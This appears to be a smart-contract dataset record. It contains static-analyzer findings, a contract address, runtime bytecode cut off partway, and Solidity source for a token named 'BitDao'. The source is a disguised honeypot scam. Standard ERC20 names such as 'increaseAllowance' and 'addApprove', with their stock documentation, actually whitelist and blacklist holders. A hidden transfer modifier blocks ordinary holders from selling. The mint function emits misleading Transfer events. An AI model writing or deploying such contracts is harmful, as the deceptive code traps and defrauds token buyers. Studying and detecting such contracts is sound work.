b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122039a66dbbfb4de5221f30321a1ad78666f2898245d939ce1127cfef8a6133a5df64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,594
0xe66fd80a0483e130982e3dcd8683c6fe2f07d9e9
pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BitDao is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190